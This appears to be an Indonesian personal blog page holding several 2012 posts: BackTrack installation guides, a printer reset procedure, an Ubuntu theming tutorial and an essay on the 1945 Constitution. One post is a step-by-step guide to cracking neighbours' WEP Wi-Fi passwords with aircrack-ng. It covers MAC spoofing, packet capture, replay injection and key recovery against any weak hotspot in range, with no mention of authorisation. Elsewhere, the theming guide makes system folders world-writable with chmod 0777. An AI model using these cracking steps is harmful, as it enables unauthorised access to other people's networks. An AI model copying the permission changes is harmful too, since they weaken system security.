Tutorial Install Dual Boot Backtrack Windows XP/Vista/Windows 7

By BUDI HARDANI on Tuesday, 28 February 2012

Jika sahabat menggunakan sistem Operasi Windows dan ingin mencoba menggunakan Backtrack maka ada tiga kemungkinan yang ada sahabat melakukan instalasi full, dual Boot , atau Menggunakan Virtual Machine seperti VMware atau VirtualBox. Berikut adalah cara  intallasi DualBoot pada Backtrack dan Windows.

1. Download dan Burn CD,kemudian masukan dan booting.setelah booting ketik " startx " untuk masuk kedalam Mode GUI Backtrack.



2. Klik "install.sh" pada desktop, atau menjalankan perintah "ubiquity" dari konsol,

3. Pilih geografis tempatmu tinggal dan klik " forward ".


4. Layar berikutnya adalah untuk mengkonfigurasi partisi.jadi disini kita akan membuat partisi dari sisa drive C windows,geser garis pembatas untuk menentukan ukuran partisi yang akan digunakan backtrack,selesai membuat partisi klik next untuk melanjutkan.


5. Kemudian klik " Install " untuk menginstall.


6. Setelah mengistall tampilan Grub akan seperti dibawah.

More aboutTutorial Install Dual Boot Backtrack Windows XP/Vista/Windows 7

Tutorial Install Backtrack 5

By BUDI HARDANI

1. Burn ISO Backrack 5 yang telah dididownload kedalam DVD,kemudian booting.



2. Maka akan keluar tampilan seperti ini,kemudian pilih "Backtrack Text - Default Boot Text Mode "


3. ketik startx untuk mendapatkan mode GUI.


4. Klik icon "Install BackTrack" pada desktop


5. Pilih bahasa yang diinginkan


6. pilih lokasi tempat tinggal


7. klik forward,kecuali anda ingin menggati keyboard layout


8. untuk menggunakan seluruh hardisk pilih "Erase and use the entire disk"


pilih "Specify patitions manually (advanced)" maka akan keluar tampilan seperti ini :


untuk swap cukup 1 Giga saja.

9. Setelah mengisi data pribadi dan password klik forward maka akan keluar tampilan seperti ini,kemudian klik Install


10. Tunggu sampai instalasi selesai,dan selamat menggunakan backtrack 5 Revolution,:)

More aboutTutorial Install Backtrack 5

Hack Password WIFI Via BACKTRACK

By BUDI HARDANI

Pertama sobat harus punya OS backtrack baik dalam bentuk keping cakram atau tersimpan di flash memory. Jika belum punya coba aja unduh filenya disini. Jangan tergesa-gesa karena filenya cukup besar. Kalau sobat punya speed access minimal 1 kbps, kira-kira butuh 3 jam sampai unduhan selesai. Simpan file tersebut dalam bentuk ISO file dalam keping cakram dulu agar sobat bisa mengoprerasikan secara terpisah dengan windows yang sobat punya. Jangan khawatir bakctrack ini dishare secara gratis dan terkenal keamanannya.


Jika proses pertama sudah selesai dan Backtrack sudah di genggaman, sobat tinggal boot aja komputer sobat dengan OS dimaksud dan tunggu sampai booting selesai.

Bukalah konsol baru, untuk mengetahui driver interface yang sobat pakai, ketikkan dan enter perintah berikut: (mengetahui driver interface penting agar perintah-perintah berikutnya dapat dijalankan)

airmon-ng

maka akan muncul nama interface sebagaimana dalam gambar berikut:

Picture
Di layar akan muncul driver interface wifi yang sobat pakai, pada  gambar diatas driver yang muncul adalah ra1. Driver ini bisa bervariasi tergantung dari chip yang terpasang baik internal atau eksternal. bisa jadi yang muncul seperti wlan0, rt2540 atau lainnya.

Kemudian hentikan sementara koneksi wireless sobat untuk mengganti mac code dengan perintah berikut:

airmon-ng stop [interface]
interface dalam hal ini adalah driver yang saya sebutkan di atas, contoh :

 airmon-ng stop ra1

Dengan command di atas berarti sobat sudah memberi perintah disconnect wireless yang sobat pakai. Lalu ketik lagi command berikut berturut-turut:

ifconfig [interface] down

macchanger --mac 00:11:22:33:44:55  [interface]

airmon-ng start [interface]
command terakhir di atas adalah untuk mengaktifkan kembali wireless yang sebelumnya disconnected. Selanjutnya saatnya kita memilih rangkaian wireless yang akan kita hack passwordnya. Sekali lagi yang paling mudah adalah wireless dengan enkripsi WEP. Jalankan perintah berikut :

airodump-ng [interface]

Akan muncul seluruh hotspot yang berada dalam jangkauan, tunggulah beberapa saat sampai sobat mendapatkan sasaran terbaik untuk di shoot. Lihat dulu kira-kira strengh sinyal terkuat dengan enkripsi WEP yang paling empuk untuk dihack. Bila sobat sudah menemukannya, hentikan pencarian dengan menekan tombol ctrl+c.

OK, bila sudah dapat, sekarang fokuskan pada target. disitu ada channel (Channel number atau frekuensi yang dipakai berupa angka 1 sampai 11), ESSID ( Extended Service Set IDentifier atau identitas pengguna) dan BSSID ( Basic Service Set IDentifier) . Agar lebih mudah copy - paste saja BSSID dan ESSID dalam command berikut:
airodump-ng –c [Channel Number] –w [ESSID] --bssid [BSSID] [interface]


contohnya :
airodump-ng –c 1 –w network --bssid c0:ca:30:1d:2b ra1

bila bisa dipahami sampai disini lanjutkan saja proyek kita dengan membuka konsole baru dan ketik command :

airreplay-ng -1 0 –a [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Perintah di atas dimaksudkan untuk meningkatkan proses hacking untuk memecahkan paket data yang kita cari. OK, sekarang kita perintahkan mesin kita bekerja untuk mengumpulkan paket data sebanyak-banyaknya dengan memasukkan command berikut :

airreplay-ng -3 –b [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Tunggulah beberapa detik sapai data mencapai di atas angka 1000, kemudian jika dirasa sudah cukup tekan ctrl+c untuk menghentikannya. Lalu ketik command :

aircrack-ng –b [BSSID] [ESSID-01.cap]
dan data yang muncul adalah berupa digit berikut:

XX:XX:XX:XX:XX

its ok, sobat sudah dapat password XXXXXXXXXX (tanpa pemisah titik dua)
More aboutHack Password WIFI Via BACKTRACK

Kumpulan Modul TKJ

By BUDI HARDANI

More aboutKumpulan Modul TKJ

Cara Mereset IP 2770 MANUAL

By BUDI HARDANI on Sunday, 19 February 2012

cara Manual :

- Printer dalam keadaan mati (kabel Power dan USB tersambung)
- Tekan dan tahan tombol RESUME 2 detik, kemudian tekan tombol POWER sampai lampu hijau nyala (saat menekan tombol POWER, …tombol RESUME jgn dilepas dulu)
- Kemudian lepas tombol RESUME, tapi jangan lepas tombol POWER.
- Sambil tombol POWER masih tertekan, tekan tombol RESUME 5 kali (jeda 1-2 detik/1 kali tekan). Led akan menyala bergantian orange hijau dengan nyala terakhir orange. (jangan sampai keliru 4x karena printer akan mati total yang sifatnya sementara)
- Lepaskan kedua tombol bersamaan.
- Led akan blink sebentar kemudian akan nyala HIJAU.
- Komputer akan mendeteksi device baru (printer akan kedetek Found new hardware = canon device), abaikan saja ….
- Keadaan ini menunjukkan printer iP2770 dalam keadaan SERVICE MODE dan siap direset.
atau download aplikasinya disini
More aboutCara Mereset IP 2770 MANUAL

Mengubah Tampilan Ubuntu 11.10 Menjadi Macbuntu-Xi

By BUDI HARDANI on Tuesday, 14 February 2012

Untuk dapat mengubah tampilan Ubuntu 11.10 dengan theme Macbuntu-Xi, beberapa paket aplikasi harus Anda instal terlebih dahulu. Paket-paket tersebut adalah Gnome-tweak-tool dan Compizconfig-settings-manager yang akan kita gunakan untuk melakukan pengaturan theme dan efek-efek desktop. Bagi Anda yang kesulitan menginstal kedua paket itu, silahkan membaca artikel kami Cara mudah menggunakan Ubuntu 11.10.

Sebuah paket tambahan, Cairo Dock juga akan kita tambahkan untuk melengkapi theme Macbuntu-Xi agar semakin mirip dengan tampilan desktop Mac. Tentang cara mengnstal dan pengaturan Cairo dock, termasuk penambahan theme Macbun-Xi-Dock untuk Cairo dock akan kami sampaikan dalam tutorial ini.

Setelah Compizconfig dan gnome-tweak-tool diinstal, tekan tombol Alt+F2 untuk menampilkan Dash dialog Run, pada kotak pencarian ketik "about:config" tanpa tanda kutip lalu tekan enter...

Macbuntu-Xi

Pengaturan Unity plugin pada CompizConfig Settings Manager akan dibuka. Dalam jendela tersebut pada tab "Behaviour", ubah "Hide Launcher" menjadi "Auto hide"...

Macbuntu-Xi

Masih pada jendela yang sama, silahkan berpindah ke tab "Experimental". Pada halaman tersebut, ubah nilai pada "Panel Opacity" dan "Launcher Opacity" menjadi "0.5000" dan "Launcher Icon Size" menjadi "32"...

Macbuntu-Xi

Buat sebuah folder pada desktop Anda lalu beri nama dengan "macbuntu-x". Download empat paket theme Macbuntu-Xi dan theme Cairo dock Macbuntu-Xi-Dock serta sebuah gambar untuk background Aurora.jpg.

Link Daownload Macbuntu-Xi theme:

Simpan kelima file yang Anda download tersebut kedalam folder "macbuntu-x" yang telah dibuat pada desktop.

Silahkan buka Terminal (Ctrl+Alt+T) lalu menuju ke tempat penyimpanan file-file theme dengan mengetik perintah berikut...
cd Desktop/macbuntu-x

Setelah berada pada lokasi penyimpanan, ketik perintah berikut untuk mengextract paket-paket theme...
sudo tar -C /usr/share/themes/ -xzvf Macbuntu-Xi.tar.gz

Macbuntu-Xi

Ketik perintah berikut untuk mengextract paket icon theme...
sudo tar -C /usr/share/icons/ -xzvf Macbuntu-Xi-Icons.tar.gz

Ketik perintah berikut untuk mengextract paket cursors theme...
sudo tar -C /usr/share/icons/ -xzvf Macbuntu-Xi-Cursors.tar.gz

Ketik perintah beriku untuk menyalin file aurora.jpg kedalam folder background
sudo cp aurora.jpg /usr/share/backgrounds

Ubah perijinan folder themes, icons dan background supaya dapat digunakan oleh user biasa dengan mengetik perintah berikut lalu menekn enter secara berturut-turut...
sudo chown -R root.root /usr/share/themes/
sudo chmod -R 0777 /usr/share/themes/
sudo chown -R root.root /usr/share/icons/
sudo chmod -R 0777 /usr/share/icons/
sudo chown -R root.root /usr/share/backgrounds/
sudo chmod -R 0777 /usr/share/backgrounds/

Macbuntu-Xi

Atau, Anda dapat mendownload file "macbuntu-xi.sh" lalu meletakkannya kedalam folder "macbuntu-x" untuk menginstall semua paket theme tanpa mengetik perintah satu-persatu...

Macbuntu-Xi

Untuk menggunakan file macbuntu-xi.sh, cukup ketik perintah berikut...
sudo sh macbuntu-xi.sh
...secara otomatis semua paket theme akan diextract ketempatnya masing-masing.

Langkah selanjutnya adalah menerapkan theme Macbuntu-Xi yang telah kita tambahkan. Tekan kombinasi tombol Alt+F2 lalu ketik "advanced settings" untuk menjalankan gnome-tweak-tool...

Macbuntu-Xi

Dalam Jendela "Advanced Setting" pada bagian theme, ubah pada "Window theme" menjadi "Macbuntu-Xi", ubah pada "Cursor theme" menjadi "Macbuntu-Xi-Cursors", ubah pada "Icon theme" menjadi "Macbuntu-Xi-Icons" dan ubah pada "GTK+ theme" menjadi "Macbuntu-Xi". Tutup jendela Advanced Settings, seharusnya perubahan theme sudah diterapkan.

Untuk mengubah background dengan aurora.jpg, jalankan "Appearance" lalu tekan tombol "+" untuk menambahkan wallpaper baru...

Macbuntu-Xi

Cari lokasi penyimpanan file aurora.jpg di "/usr/share/backgrounds/aurora.jpg", tekan open maka aurora kini menjadi background.

Untuk melengkapi penggunaan theme Macbuntu-Xi ini, Anda dapat mengubah backgrond login screen LightDM menggunakan file aurora.jpg tersebut. Jika Anda berminat melakukannya, silahkan baca artikel Cara mengganti background LightDM secara manual.

Tambahkan paket Cairo Dock untuk memperindah desktop Anda. Pastikan komputer telah terhubung ke internet lalu jalankan Software Center atau gunakan Synaptic, cari paket cairo-dock untuk diinstall...

Macbuntu-Xi

Atau dengan menggunakan terminal dengan mengetik perintah berikut...
sudo apt-get install cairo-dock
Ikuti semua instruksi yang ditampilkan pada layar hingga proses instalasi Cairo dock selesai.

Tekan tombol Alt+F2 lalu cari "Cairo-Dock (no OpenGL)" untuk menjalankan Cairo...

Macbuntu-Xi

Ubah theme Cairo dock dengan theme Macbuntu-Xi-Dock dengan cara mengklik kanan pada cairo dock lalu pilih menu "Cairo-Dock" lalu pilih "Configure"...

Macbuntu-Xi

Update:
Pada jendela "Cairo-Dock Configuration" buka tab "Themes" lalu tambahkan theme Macbuntu-Xi-Dock dengan cara menekan tombol "Open", cari tempat penyimpanan di "~/Desktop/macbuntu-x/Macbuntu-Xi-Cairo.tar.gz" lalu tekan tombol "OK". Tekan tombol "Apply" untuk mengextract Macbuntu-Xi-Cairo.tar.gz lalu tutup jendela "Cairo-Dock Configuration". Buka kembali "Cairo-Dock Configuration", cari dan pilih theme Macbuntu-Xi-Dock pada tab themes lalu tekan tombol "Apply" untuk menerapkan theme Cairo-Dock tersebut.

Macbuntu-Xi

Untuk melihat perubahan seluruhnya, logout dari sesi saat ini. Pada login screen LightDM, tekan tombol "Gear" lalu pilih sesi "Cairo-Dock (with Gnome and effects)" untuk memasuki sesi Ubuntu yang akan langsung menjalankan Cairo-Dock...

Macbuntu-Xi

Inilah tampilan desktop kami setelah menggunakan theme Macbuntu-Xi dan theme Cairo-Dock Macbuntu-Xi-Dock...

Macbuntu-Xi

Macbuntu-Xi

Selamat mencoba...
More aboutMengubah Tampilan Ubuntu 11.10 Menjadi Macbuntu-Xi

Isi Konstitusi yang Terkandung Dalam UUD 1945

By BUDI HARDANI on Thursday, 9 February 2012

Perkataan “konstitusi” berasal dari bahasa Perancis Constituer dan Constitution, kata pertama berarti membentuk, mendirikan atau menyusun, dan kata kedua berarti susunan atau pranata (masyarakat). Dengan demikian konstitusi memiliki arti; permulaan dari segala peraturan mengenai suatu Negara.
Dengan demikian suatu konstitusi memuat aturan atau sendi-sendi pokok yang bersifat fundamental untuk menegakkan bangunan besar yang bernama “Negara”. Karena sifatnya yang fundamental ini maka aturan ini harus kuat dan tidak boleh mudah berubah-ubah. Dengan kata lain aturan fundamental itu harus tahan uji terhadap kemungkinan untuk diubah-ubah berdasarkan kepentingan jangka pendek yang bersifat sesaat.
Secara umum terdapat dua macam konstitusi yaitu : 1) konstitusi tertulis dan 2) konstitusi tak tertulis. Dalam hal yang kedua ini, hampir semua negara di dunia memiliki konstitusi tertulis atau undang-undang dasar (UUD) yang pada umumnya mengatur mengenai pembentukan, pembagian wewenang dan cara bekerja berbagai lembaga kenegaraan serta perlindungan hak azasi manusia.
Isi konstitusi umumnya hanya memuat aturan-aturan pokok, hanya memuat garis-garis besar sebagai instruksi kepada pusat dan lain-lain penyelenggara negara untuk menyelenggarakan kehidupan negara dan kesejahteraan sosial. Aturan-aturan asing lebih rinci diserahkan pengaturannya kepada undang-undang yang berada dibawah konstitusi, yang lebih mudah untuk dibuat, diperbaharui, maupun dicabut.
Menurut Miriam Budiardjo, setiap Undang-undang Dasar / Konstitusi memuat ketentuan-ketentuan sebagai berikt :
1. Organisasi Negara.
Misalnya: pembagian kekuasaan antara badan Eksekutif, Legeslatif dan Yudikatif. Masalah pembagian kekuasaan antara pemerintah pusat / pemerintah federal dengan pemerintah daerah / pemerintah negara bagian; Prosedur penyelesaian masalah pelanggaran yurisdiksi lembaga negara.
a. Pembagian kekuasaan antara badan legislatif, eksekutif dan yudikatif.
Legislatif di Indonesia adalah Dewan Perwakilan Rakyat (DPR). Kekuasaan anggota DPR termuat dalam:
Pasal 20
(1) Dewan Perwakilan Rakyat memegang kekuasaan membentuk undang-undang.
(2) Setiap rancangan undang-undang dibahas oleh Dewan Perwakilan Rakyat dan Presiden untuk mendapat persetujuan bersama.
Pasal 20A
(1) Dewan Perwakilan Rakyat memiliki fungsi legislasi, fungsi anggaran, dan fungsi pengawasan.
(2) Dalam melaksanakan fungsinya, selain hak yang diatur dalam pasal-pasal lain Undang-Undang Dasar ini, Dewan Perwakilan Rakyat mempunyai hak interpelasi, hak angket, dan hak menyatakan pendapat.
(3) Selain hak yang diatur dalam pasal-pasal lain Undang-Undang Dasar ini, setiap anggota Dewan Perwakilan Rakyat mempunyai hak mengajukan pertanyaan, menyampaikan usul dan pendapat serta hak imunitas.
Pasal 21
Anggota Dewan Perwakilan Rakyat berhak mengajukan usul rancangan undang-undang.
Pasal 22
(2) Peraturan pemerintah itu harus mendapat persetujuan Dewan Perwakilan Rakyat dalam persidangan yang berikut.
Penjelasan:
Kita dapat mengambil kesimpulan bahwa kekuasaan DPR ada pada pembentukan UU dan sebagai pengawas dari jalannya eksekutif.
Eksekutif adalah lembaga yang menjalankan isi dari UUD 1945, dalam hal ini Presiden. Dalam menjalankan kekuasaan eksekutif Presiden di bantu oleh Wakil Presiden dan Para Menteri. Kekuasaan Eksekutif juga meliputi Pemerintah Daerah. Pada umumnya kekuasaan Eksekutif dapat dilihat pada kekuasaan presiden sebagai kepala pemerintahan, ini terlihat pada pasal:
Pasal 4
(1) Presiden Republik Indonesia memegang kekuasaan pemerintahan menurut Undang-Undang Dasar.
Pasal 5
(1) Presiden berhak mengajukan rancangan undang-undang kepada Dewan Perwakilan Rakyat.
(2) Presiden menetapkan peraturan pemerintah untuk menjalankan undang-undang sebagaimana mestinya.
Penjelasan:
Disini kita dapat menyimpulkan secara umum kekuasaan eksekutif adalah menjalankan Pemerintahan sesuai amanah UUD. Pasal 10-15 menurut saya itu bukanlah kekuasaan eksekutif melainkan kekuasaan presiden sebagai kepala negara.
Yudikatif adalah lembaga kekuasaan kehakiman. Kekuasaan yudikatif ini berguna untuk menyelenggaran peradilan guna menegakkan hukum dan keadilan. Kekuasaan Kehakiman ini dilakukan oleh sebuah Mahkama Agung dan peradilan yang ada di bawahnya dan oleh sebuah mahkama Konstitusi. Kekuasaan Kehakiman dapat kita liat pada:
Pasal 24
(1) Kekuasaan kehakiman merupakan kekuasaan yang merdeka untuk menyelenggarakan peradilan guna menegakkan hukum dan keadilan.
Pasal 24A
(1) Mahkamah Agung berwenang mengadili pada tingkat kasasi, menguji peraturan perundang-undangan di bawah undang-undang terhadap undang-undang, dan mempunyai wewenang lainnya yang diberikan oleh undang-gundang.
Pasal 24B
(1) Komisi Yudisial bersifat mandiri yang berwenang mengusulkan pengangkatan hakim agung dan mempunyai wewenang lain dalam rangka menjaga dan menegakkan kehormatan, keluhuran martabat, serta perilaku hakim.
Pasal 24C
(1) Mahkamah Konstitusi berwenang mengadili pada tingkat pertama dan terakhir yang putusannya bersifat final untuk menguji undang-undang terhadap Undang-Undang Dasar, memutus sengketa kewenangan lembaga negara yang kewenangannya diberikan oleh Undang-Undang Dasar, memutus pembubaran partai politik, dan memutus perselisihan tentang hasil pemilihan umum.
(2) Mahkamah Konstitusi wajib memberikan putusan atas pendapat Dewan Perwakilan Rakyat mengenai dugaan pelanggaran oleh Presiden dan/atau Wakil Presiden menurut Undang-Undang Dasar.
Penjelasan:
Disini dapat kita lihat bahwa M.A berwenang mengadili pada tingkat kasasi.
Pada komisi yudisial kita bisa melihat kekuasaannya dimana komisi yudisial megusulkan pengangkatan hakim agung dan menjaga dan menegakkan kehormatan, keluhuran martabat, serta perilaku hakim. Mahkama Konstitusi mempunyai kekuasaan menguji UU terhadap UUD 1945, memutuskan sengketa kewenangan lembaga negara yang kewenagannya diberikan oleh UUD 1945, memutuskan pembubaran partai politik, perselisihan tentang hasil pemilu, dan memutuskan pendapat DPR atas pelanggaran presiden.
b. Pembagian antara federal dan pemerintah negara bagian
Di Indonesia tidak mengenal adanya pemerintah federal dan pemerintah negara negara bagian. Jadi, dapat kita dapat simpulkan tidak ada pembagian kekuasaan ini dalam UUD 1945.
c. Prosedur menyelesaikan masalah pelanggaran yurisdiksi oleh salah satu pemerintah dan sebagainya.
Menurut saya, prosedur penyelesaian masalah pelanggaran yurisdiksi oleh salah satu pemerintah dan sebagainya adalah masalah dari lembaga-lembaga negara. Dengan benar, hal itu termuat dalam:
Pasal 7A
Presiden dan/atau Wakil Presiden dapat diberhentikan dalam masa jabatannya oleh Majelis Permusyawaratan Rakyat atas usul Dewan Perwakilan Rakyat, baik apabila terbukti telah melakukan pelanggaran hukum berupa pengkhianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya, atau perbuatan tercela maupun apabila terbukti tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden.
Pasal 7B
(1) Usul pemberhentian Presiden dan/atau Wakil Presiden dapat diajukan oleh Dewan Perwakilan Rakyat kepada Majelis Permusyawaratan Rakyat hanya dengan terlebih dahulu mengajukan permintaan kepada Mahkamah Konstitusi untuk memeriksa, mengadili, dan memutus pendapat Dewan Perwakilan Rakyat bahwa Presiden dan/atau Wakil Presiden telah melakukan pelanggaran hukum berupa pengkhianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya, atau perbuatan tercela; dan/atau pendapat bahwa Presiden dan/atau Wakil Presiden tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden.
(2) Pendapat Dewan Perwakilan Rakyat bahwa Presiden dan/atau Wakil Presiden telah melakukan pelanggaran hukum tersebut ataupun telah tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden adalah dalam rangka pelaksanaan fungsi pengawasan Dewan Perwakilan Rakyat.
(3) Pengajuan permintaan Dewan Perwakilan Rakyat kepada Mahkamah Konstitusi hanya dapat dilakukan dengan dukungan sekurangkurangnya 2/3 dari jumlah anggota Dewan Perwakilan Rakyat yang hadir dalam sidang paripurna yang dihadiri oleh sekurangkurangnya 2/3 dari jumlah anggota Dewan Perwakilan Rakyat.
(4) Mahkamah Konstitusi wajib memeriksa, mengadili, dan memutus dengan seadiladilnya terhadap pendapat Dewan Perwakilan Rakyat tersebut paling lama sembilan puluh hari setelah permintaan Dewan Perwakilan Rakyat itu diterima oleh Mahkamah Konstitusi.
(5) Apabila Mahkamah Konstitusi memutuskan bahwa Presiden dan/atau Wakil Presiden terbukti melakukan pelanggaran hukum berupa pengkhianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya, atau perbuatan tercela; dan/atau terbukti bahwa Presiden dan/atau Wakil Presiden tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden, Dewan Perwakilan Rakyat menyelenggarakan sidang paripurna untuk meneruskan usul pemberhentian Presiden dan/atau Wakil Presiden kepada Majelis Permusyawaratan Rakyat.
(6) Majelis Permusyawaratan Rakyat wajib menyelenggarakan sidang untuk memutuskan usul Dewan Perwakilan Rakyat tersebut paling lambat tiga puluh hari sejak Majelis Permusyawaratan Rakyat menerima usul tersebut.
(7) Keputusan Majelis Permusyawaratan Rakyat atas usul pemberhentian Presiden dan/atau Wakil Presiden harus diambil dalam rapat paripurna Majelis Permusyawaratan Rakyat yang dihadiri oleh sekurang-kurangnya 3/4 dari jumlah anggota dan disetujui oleh sekurang-kurangnya 2/3 dari jumlah anggota yang hadir, setelah Presiden dan/atau Wakil Presiden diberi kesempatan menyampaikan penjelasan dalam rapat paripurna Majelis Permusyawaratan Rakyat.
Penjelasan:
Pemberhentian Presiden dapat dilakukan oleh MPR, namun haruslah mengikuti prosedur yang ada. DPR dalam hal ini sebagai pengawas jalannya pemerintahan megajukan kepada DPR. Namun seelum itu harus ada permohonan dari DPR kepada M.K untuk memeriksa dan memutuskan perkara Presiden. Jika, Presiden dinyatakan membuat pelanggaran, maka DPR menyelengarakan sidang Paripurna untuk meneruskan pemberhetian Presiden kepada MPR. MPR wajib menyelenggarakan sidang untuk memutuskan usul Dewan Perwakilan Rakyat tersebut. Keputusan MPR tersebut harus diambil dalam rapat Paripurna MPR dan dihadiri sekurang-kurang ¾ dari jumlah angota MPR dan disetujui oleh 2/3 dari jumlah anggota yang hadir, setelah mendengar penjelasan Presiden/Wakil Presiden dalam rapat Paripurna MPR.
2. Hak-hak asasi manusia
Di Indonesia sangat menjunjung tinggi Hak Asasi Manusia (HAM). Ini sangat jelas teterkandung dalam:
Pasal 28A
Setiap orang berhak untuk hidup serta berhak mempertahankan hidup dan kehidupannya.
Pasal 28B
(1) Setiap orang berhak membentuk keluarga dan melanjutkan keturunan melalui perkawinan yang sah.
(2) Setiap anak berhak atas kelangsungan hidup, tumbuh, dan berkembang serta berhak atas perlindungan dari kekerasan dan diskriminasi.
Pasal 28C
(1) Setiap orang berhak mengembangkan diri melalui pemenuhan kebutuhan dasarnya, berhak mendapat pendidikan dan memperoleh manfaat dari ilmu pengetahuan dan teknologi, seni dan budaya, demi meningkatkan kualitas hidupnya dan demi kesejahteraan umat manusia.
(2) Setiap orang berhak untuk memajukan dirinya dalam memperjuangkan haknya secara kolektif untuk membangun masyarakat, bangsa, dan negaranya.
Pasal 28D
(1) Setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum.
(2) Setiap orang berhak untuk bekerja serta mendapat imbalan dan perlakuan yang adil dan layak dalam hubungan kerja.
(3) Setiap warga negara berhak memperoleh kesempatan yang sama dalam pemerintahan.
(4) Setiap orang berhak atas status kewarganegaraan.
Pasal 28E
(1) Setiap orang bebas memeluk agama dan beribadat menurut agamanya, memilih pendidikan dan pengajaran, memilih pekerjaan, memilih kewarganegaraan, memilih tempat tinggal di wilayah negara dan meninggalkannya, serta berhak kembali.
(2) Setiap orang berhak atas kebebasan meyakini kepercayaan, menyatakan pikiran dan sikap, sesuai dengan hati nuraninya.
(3) Setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat.
Pasal 28F
Setiap orang berhak untuk berkomunikasi dan memperoleh informasi untuk mengembangkan pribadi dan lingkungan sosialnya, serta berhak untuk mencari, memperoleh, memiliki, menyimpan, mengolah, dan menyampaikan informasi dengan menggunakan segala jenis saluran yang tersedia.
Pasal 28G
(1) Setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, martabat, dan harta benda yang di bawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan hak asasi.
(2) Setiap orang berhak untuk bebas dari penyiksaan atau perlakuan yang merendahkan derajat martabat manusia dan berhak memperoleh suaka politik dari negara lain.
Pasal 28H
(1) Setiap orang berhak hidup sejahtera lahir dan batin, bertempat tinggal, dan mendapatkan lingkungan hidup yang baik dan sehat serta berhak memperoleh pelayanan kesehatan.
(2) Setiap orang berhak mendapat kemudahan dan perlakuan khusus untuk memperoleh kesempatan dan manfaat yang sama guna mencapai persamaan dan keadilan.
(3) Setiap orang berhak atas jaminan sosial yang memungkinkan pengembangan dirinya secara utuh sebagai manusia yang bermartabat.
(4) Setiap orang berhak mempunyai hak milik pribadi dan hak milik tersebut tidak boleh diambil alih secara sewenangwenang oleh siapa pun.
Pasal 28I
(1) Hak untuk hidup, hak untuk tidak disiksa, hak kemerdekaan pikiran dan hati nurani, hak beragama, hak untuk tidak diperbudak, hak untuk diakui sebagai pribadi di hadapan hukum, dan hak untuk tidak dituntut atas dasar hukum yang berlaku surut adalah hak asasi manusia yang tidak dapat dikurangi dalam keadaan apa pun.
(2) Setiap orang berhak bebas dari perlakuan yang bersifat diskriminatif atas dasar apa pun dan berhak mendapatkan perlindungan terhadap perlakuan yang bersifat diskriminatif itu.
(3) Identitas budaya dan hak masyarakat tradisional dihormati selaras dengan perkembangan zaman dan peradaban.
(4) Perlindungan, pemajuan, penegakan, dan pemenuhan hak asasi manusia adalah tanggung jawab negara, terutama pemerintah.
(5) Untuk menegakkan dan melindungi hak asasi manusia sesuai dengan prinsip negara hukum yang demokratis, maka pelaksanaan hak asasi manusia dijamin, diatur, dan dituangkan dalam peraturan perundangundangan.
Pasal 28J
(1) Setiap orang wajib menghormati hak asasi manusia orang lain dalam tertib kehidupan bermasyarakat, berbangsa, dan bernegara.
(2) Dalam menjalankan hak dan kebebasannya, setiap orang wajib tunduk kepada pembatasan yang ditetapkan dengan undangundang dengan maksud sematamata untuk menjamin pengakuan serta penghormatan atas hak dan kebebasan orang lain dan untuk memenuhi tuntutan yang adil sesuai dengan pertimbangan moral, nilainilai agama, keamanan, dan ketertiban umum dalam suatu masyarakat demokratis.
Penjelasan:
Di dalam suatu negara sangatlah penting untuk mementingkan HAM. UUD 1945 sangat banyak memberikan perlindungan terhadap HAM. Dari pasal 28A-28J, itu terlihat jelas isi konstitusi yang menjamin HAM di Indonesia.
3. Prosedur mengubah Undang-undang dasar
Mengubah UUD suatu negara dapat dilakukan, tetapi tidak mudah untuk sewenang-wenang melakukan itu. Dalam hal perubahan UUD ini dapat kita liat pada:
Pasal 3
(1) Majelis Permusyawaratan Rakyat berwenang mengubah dan menetapkan Undang-Undang Dasar.
Pasal 37
(1) Usul perubahan pasal-pasal Undang-Undang Dasar dapat diagendakan dalam sidang Majelis Permusyawaratan Rakyat apabila diajukan oleh sekurangkurangnya 1/3 dari jumlah anggota Majelis Permusyawaratan Rakyat.
(2) Setiap usul perubahan pasal-pasal Undang-Undang Dasar diajukan secara tertulis dan ditunjukkan dengan jelas bagian yang diusulkan untuk diubah beserta alasannya.
(3) Untuk mengubah pasal-pasal Undang-Undang Dasar, Sidang Majelis Permusyawaratan Rakyat dihadiri oleh sekurangkurangnya 2/3 dari jumlah anggota Majelis Permusyawaratan Rakyat.
(4) Putusan untuk mengubah pasal-pasal Undang-Undang Dasar dilakukan dengan persetujuan sekurang-kurangnya lima puluh persen ditambah satu anggota dari seluruh anggota Majelis Permusyawaratan Rakyat.
Penjelasan:
Berbicara soal perubahan UUD , perubahan itu sendiri haruslah di ajukan oleh 1/3 dari jumlah anggota MPR. Setelah di ajukan, hal itu dapat selanjutnya di agendakan dalam sidang MPR. Pengajuannya itu haruslah secara tertulis dan ditunjukkan dengan jelas bagian yang di usulkan untuk dirubah beserta dengan alasan untuk merubahnya.
Untuk memutuskan pengubahan setiap pasal yang di ajukan, sesuai prosedur harus 50% +1 anggota dari seluruh anggota MPR. Setelah ada kesepakatan sesuai pasal 3 ayat (1), UUD di tetapkan oleh MPR.
4. Adakalanya memuat larangan untuk mengubah sifat-sifat tertentu dari Undang-undang Dasar.
Kita dapat mengakui pada UUD 1945 telah ada perubahan. Akan tetapi adakalanya perubahan itu tidak dapat dilakukan oleh sebab-sebab/sifat tertentu sehingga ia tidak dapat dirubah. Pada UUD 1945 ini dapat kita liat pada:
pasal 37 ayat (5)
Khusus mengenai bentuk Negara Kesatuan Republik Indonesia tidak dapat dilakukan perubahan.
Penjelasan:
Bentuk negara republik Indonesia adalah Negara Kesatuan Republik Indonesia. Pada pasal di atas sangat jelas untuk tidak melakukan perubahan. Hal itu terjadi dikarenankan ada sifat-sifat/ciri tertentu yang dimiliki oleh bangsa Indonesia.
More aboutIsi Konstitusi yang Terkandung Dalam UUD 1945

